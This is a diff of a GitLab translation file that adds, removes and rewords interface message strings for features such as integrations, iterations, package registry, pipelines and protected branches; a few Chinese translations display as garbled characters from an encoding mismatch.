+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17680,9 +17368,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17833,6 +17518,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -17908,25 +17596,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -17935,13 +17605,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
-msgstr ""
-
-msgid "InviteEmail|What can I do with the %{role} permission level?"
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -17962,7 +17629,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -17971,9 +17638,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -17998,6 +17662,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18409,18 +18076,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18430,6 +18115,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18442,6 +18130,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18460,9 +18154,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18562,9 +18262,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18613,6 +18319,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18703,9 +18412,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18733,18 +18439,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18856,9 +18550,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19018,9 +18709,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19250,9 +18938,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19460,6 +19145,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19674,6 +19362,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -19908,6 +19599,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -19926,9 +19626,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20148,9 +19845,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20220,6 +19914,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20241,6 +19938,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20253,6 +19953,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20313,9 +20016,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "中ä½æ•¸"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21091,9 +20791,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21233,9 +20930,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr "找ä¸åˆ°é‡Œç¨‹ç¢‘ %{milestoneTitle}"
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21494,9 +21188,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21669,9 +21360,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21720,7 +21408,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21777,13 +21465,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -21979,9 +21667,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22000,7 +21685,7 @@ msgstr "新建里程碑"
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22309,9 +21994,6 @@ msgstr ""
msgid "No repository"
msgstr "沒有存儲庫"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22498,9 +22180,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "通知事件"
@@ -22631,9 +22310,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23268,10 +22944,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23349,6 +23025,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23379,6 +23058,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23403,9 +23088,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23457,6 +23139,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23466,15 +23151,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23520,6 +23205,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23550,6 +23241,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23742,9 +23439,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -23949,10 +23643,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "總計:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -23964,9 +23658,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -23976,16 +23667,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24105,10 +23802,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24126,12 +23823,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24243,9 +23946,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24396,13 +24096,13 @@ msgstr "於階段"
msgid "Pipeline|with stages"
msgstr "於階段"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24447,10 +24147,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24462,6 +24162,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25074,6 +24780,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25359,9 +25068,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25389,6 +25095,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25401,9 +25110,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr "專案詳情"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25452,15 +25158,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25509,9 +25209,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "從未"
-msgid "ProjectLifecycle|Stage"
-msgstr "階段"
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26127,9 +25824,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26145,9 +25839,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26232,21 +25923,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26262,18 +25950,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26289,9 +25968,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26304,6 +25980,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26319,7 +25998,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26328,6 +26007,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26337,9 +26019,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26358,9 +26037,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26484,13 +26160,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26511,12 +26190,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26526,6 +26214,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26535,12 +26226,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26586,18 +26280,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27001,6 +26707,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27028,6 +26737,9 @@ msgstr ""
msgid "Related Issues"
msgstr "相關議題"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27206,6 +26918,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27221,15 +26936,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27245,9 +26954,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27395,31 +27101,25 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
-msgstr ""
-
msgid "Replace"
msgstr "å–代"
-msgid "Replace all label(s)"
+msgid "Replace %{name}"
msgstr ""
-msgid "Replaced all labels with %{label_references} %{label_text}."
-msgstr ""
-
-msgid "Replaces the clone URL root."
+msgid "Replace all label(s)"
msgstr ""
-msgid "Replication"
+msgid "Replace file"
msgstr ""
-msgid "Replication details"
+msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
-msgid "Replication enabled"
+msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication paused"
+msgid "Replication"
msgstr ""
msgid "Reply by email"
@@ -27815,6 +27515,9 @@ msgstr[0] "éœ€è¦ %d 個批准。"
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -27965,12 +27668,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -27986,9 +27683,6 @@ msgstr ""
